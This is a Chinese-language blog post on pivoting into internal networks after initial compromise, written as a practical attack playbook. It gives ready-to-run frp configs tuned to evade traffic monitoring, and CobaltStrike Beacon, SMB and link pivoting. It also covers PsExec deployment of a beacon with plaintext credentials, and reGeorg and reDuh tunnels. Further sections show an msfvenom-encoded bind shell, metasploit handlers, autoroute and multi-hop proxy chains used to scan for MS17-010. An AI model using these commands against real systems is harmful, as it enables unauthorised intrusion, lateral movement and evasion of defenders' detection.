首页 > 其他分享 >实战中内网穿透的打法

实战中内网穿透的打法

时间:2024-04-08 11:31:15浏览次数:21  
标签:metasploit multi exploit 代理 socks 穿透 Beacon 中内网 打法

前言

在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。

以下为自我总结“实战中内网穿透的打法”思维导图:

图片

目标出网(socks代理)

这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。

Frp(socks5)

Frp服务端配置文件:

1[common]
2bind_port = 8080

Frp客户端配置文件:

1[common]
2server_addr = xx.xx.xx.xx
3server_port = 8080
4#服务端口使用Web常见端口
5``
6[socks5]
7type = tcp
8remote_port = 8088
9plugin = socks5
10use_encryption = true
11use_compression = true
12#socks5口令
13#plugin_user = SuperMan
14#plugin_passwd = XpO2McWe6nj3

此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。

use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截]

use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]

use_encryption = true 、use_compression = true 必须放在相关协议下面。

frp客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽。

图片

图片

图片

加密压缩的对比

这是frp客户端配置文件中未使用encryptioncompression功能,利用metasploit挂socks代理,扫描ms17_010传输的数据包,明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备,就会被监测到,导致权限丢失。

图片

使用encryptioncompression功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备。

图片

CobaltStrike (socks4a)

到已控目标机的Beacon下将socks代理开启。

1beacon > socks 1024 #端口根据VPS实际情况进行设置

图片

菜单栏中的View > Proxy Pivots,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具中。

图片

上线不出网机器

这是link链接,只要主链路(出网机Beacon)掉线,均掉!

SMB Beacon

官方对SMB Beacon的介绍:SMB Beacon是使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。

创建一个SMB的Listener (host与port可无视),注意Listener选择,在session中选择route可达的主机派生会话。

图片

运行成功后,可以看到 ∞∞ 这个字符,这就是派生SMB Beacon的连接状态。

图片

图片

可在主Beacon上用link host链接或unlink host断开。

1beacon> link 192.168.144.155
2beacon> unlink 192.168.144.155

图片

Link Listener

在已上线的主机创建Listener。

图片

导出该类型Listener对应的可执行文件或dll等。

图片

选择刚建立的Listener。

图片

上传刚才生成的payload到当前已上线的目标机中,这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大)

图片

在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。

1beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

图片

| 1 | beacon> shell netstat -ano |findstr 4444 |
| ---- | ------------------------------------------ |
| | |

图片

SSH Login
1beacon> ssh 192.168.144.174:22 root admin
2beacon> ssh 192.168.144.203:22 root admin

图片

在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。

图片

目标不出网(http代理)

目标机网络中可能有防火墙、网闸等,只允许http单向出,无法正常访问互联网,用上述socks方法是行不通的,只能用http代理进行渗透。

reGeorg (socks5)

1python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

图片

利用metasploit挂reGeorg socks代理,扫描ms17_010传输的数据包,明显可辨别攻击行为。

图片

Neo-reGeorg (加密)
1python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx

使用Neo-reGeorg后,数据包已被加密传输。

图片

冰蝎 (开socks5)

冰蝎的数据包传输是加密的,本身也具备socks代理功能,但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。

虽然冰蝎的这种代理扫描方式不如reGeorg准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。

图片

reduh (单端口转发)

当目标服务器中间件等服务版本较低,reGeorg或冰蝎马等无法正常解析,就需要换用其它的http代理脚本。这是某实战中遇到的环境:

图片

这里以reduh为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用msfvenom生成正向的shell payload,再结合reduh单端口转发,上线metasploit,最后利用socks4a模块开代理。

下面把具体的流程走一遍:

1sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe
2``
3--platform <platform> 指定payload的目标平台
4-e, --encoder <encoder> 指定需要使用的编码器
5-i, --iterations <count> 指定payload的编码次数

图片

上传payload到目标服务器,并执行。

图片

metasploit是监听转发后的地址与端口。

1sudo msfconsole -q
2msf5 > use exploit/multi/handler
3msf5 exploit(multi/handler) > set payload windows/shell_bind_tcp
4msf5 exploit(multi/handler) > set rhost 127.0.0.1
5msf5 exploit(multi/handler) > set lport 5353
6msf5 exploit(multi/handler) > run -j

图片

reDuhServer传到目标机后,使用reDuhClient进行连接,并将反弹的端口转本地后,

1java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx
2``
3telnet 127.0.0.1 1010
4>>[createTunnel]5353:127.0.0.1:53

图片

可在metasploit渗透,或开启一个socks4a,挂载其他安全工具上继续渗透。

1msf5 exploit(multi/handler) > use auxiliary/server/socks4a
2msf5 auxiliary(server/socks4a) > set srvport 10080
3msf5 auxiliary(server/socks4a) > run -j

图片

注意

为什么payload要用shell,而不用meterpreter。meterpreter是高级的payload,传输中占用大量数据包,这种单端口转发上线metasploit,本就不是很稳定,meterpreter会使“小水管”更加不稳定!

图片

隔离网络(多级代理)

内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限,建立一层二级代理、三级代理…

frp

现拿到一台双网卡内网服务器权限,可以用frp建立通道,这台服务器既是服务端也是客户端。

图片

proxifier

用frp建立好后,结合proxifier添加两条代理:外网socks、内网socks,之后创建代理链 。(注意代理顺序)

图片

设置代理规则,选择对应代理。

图片

二层代理成功,内网隔离机445探测开放。

图片

Proxychains

命令行代理神器proxychains,设置二层代理、socks口令。(注意代理顺序)

图片

联动metasploit,ms17_010探测,可以看到代理链的传输过程。

图片

Metasploit

针对metasploit的利用,只要sessions中的route可达,就可以直接进行多层网络渗透,更加方便。但主session掉,均掉!

在获取目标一个sessions 后,可以查看IP段信息并自动添加路由表。

1msf5 exploit(multi/handler) > sessions 1
2meterpreter > run get_local_subnets
3meterpreter > run autoroute -p
4meterpreter > run post/multi/manage/autoroute
5meterpreter > run autoroute -p
6meterpreter > background

图片

上述是在meterpreter权限中添加,或当知道目标路由表信息时,可直接添加。

1msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1
2msf5 exploit(multi/handler) > route

图片

可在metasploit继续渗透,或开启一个socks,挂载其他工具上多层穿透。

1msf5 exploit(multi/handler) > use auxiliary/server/socks4a
2msf5 auxiliary(server/socks4a) > set srvport 10080
3msf5 auxiliary(server/socks4a) > run -j

标签:metasploit,multi,exploit,代理,socks,穿透,Beacon,中内网,打法
From: https://blog.csdn.net/qq_32277727/article/details/137501528

相关文章

  • 绿联 安装Frpc内网穿透并使用Nginx反向代理
    绿联安装Frpc内网穿透并使用Nginx反向代理1、前言服务器官网:雨云-新一代云服务提供商本教程使用Frps与Frpc进行内网穿透,其中Frps需要自购服务器安装,若无法购买服务器则本教程对你无用;另外还需拥有自己的域名,雨云免费二级域名好像不能申请证书;推荐购买国内的主机,使......
  • 【知识点】Redis-缓存-缓存穿透
    缓存穿透:查询一个不存在的数据,Mysql查询不到也没有写入缓存,导致每次请求都会查询数据库。(比如恶意请求)解决方案:缓存空数据:返回数据为空时仍然缓存(但是需要加过期时间)。优点:简单缺点:消耗内存,可能存在数据不一致情况。布隆过滤器布隆过滤器使用Bitmap(位图)来记载一个数据是......
  • VM虚拟机部署code-server服务+tailscale内网穿透,实现随处coding
    1.Linux下安装code-serverReleases·coder/code-server(github.com)https://github.com/coder/code-server/releases先去发布页面查看最新的code-server版本,下载命令示例:wgethttps://github.com/coder/code-server/releases/download/v4.22.1/code-server_4.22.1_amd64.d......
  • frp内网穿透:基于centos8 云服务器和debian12客户端服务器
    前言入了一台本地工控机盒子,刷成了debian12系统,性能比云服务器要好一点,现在想要远程访问这台盒子,但是盒子又没有公网地址,所以想通过内网穿透的方式,通过云服务器转发请求实现内网穿透。原来体验了一下花生壳,感觉比较麻烦,于是还是想到了使用frp实现。现在记录下具体流程留作后续参......
  • Redis缓存穿透和缓存雪崩
    一、缓存穿透1什么是缓存穿透        缓存穿透说简单点就是大量请求的key根本不存在于缓存中,导致请求直接到了数据库上,根本没有经过缓存这一层。举个例子:某个黑客故意制造我们缓存中不存在的key发起大量请求,导致大量请求落到数据库。2处理流程如下图所示,用户......
  • 【Zblog搭建博客网站】windows环境搭建属于自己的博客并发布上线 – cpolar内网穿透
    目录1.前言2.Z-blog网站搭建2.1XAMPP环境设置2.2Z-blog安装2.3Z-blog网页测试2.4Cpolar安装和注册3.本地网页发布3.1.Cpolar云端设置3.2Cpolar本地设置4.公网访问测试5.结语1.前言想要成为一个合格的技术宅或程序员,自己搭建网站制作网页是绕不开的......
  • C++中Switch穿透的妙用
    在C++中,Case穿透(fall-through)指的是在switch语句中,一个case标签没有显式地使用break语句来终止,而是直接执行下一个case标签中的代码。虽然Case穿透在编程中有时会被视为不良实践,因为它可能导致代码的可读性变差和潜在的错误,但有时也可以利用它来实现一些特定的目的。以下是一些利......
  • 【AOP技术之穿透版】AOP详解
    这篇文章将让你知道AOP相关详细知识,分为基础和进阶,看完会觉得AOP也不过如此。。。制作不易,觉得不错请点赞收藏!!!目录1.AOP基础1.1 AOP概述1.2 事务管理1.3 什么又是面向方法编程呢,为什么又需要面向方法编程呢?1.4 AOP的作用(无侵入性:解耦)1.5  AOP快速入......
  • 群晖NAS安装Video Station结合内网穿透实现公网访问本地影音文件
    文章目录1.使用环境要求:2.下载群晖videostation:3.公网访问本地群晖videostation中的电影:4.公网条件下使用电脑浏览器访问本地群晖videostation5.公网条件下使用移动端(搭载安卓,ios,ipados等系统的设备)访问本地群晖videostation我同事老王最近刚换了新出的iPhone15P......
  • 缓存更新-- 穿透/击穿/雪崩 django-celery-flower Celery的应用///如何不重
    缓存 缓存更新策略#如果内存中redis数据满了,再继续往里存数据,redis会触发缓存更新的策略#有如下几种LRU/LFU/FIFO算法剔除:例如maxmemory-policy(到了最大内存,对应的应对策略)#LRU-LeastRecentlyUsed,没有被使用时间最长的#LFU-LeastFrequentyUser,一定时间段内......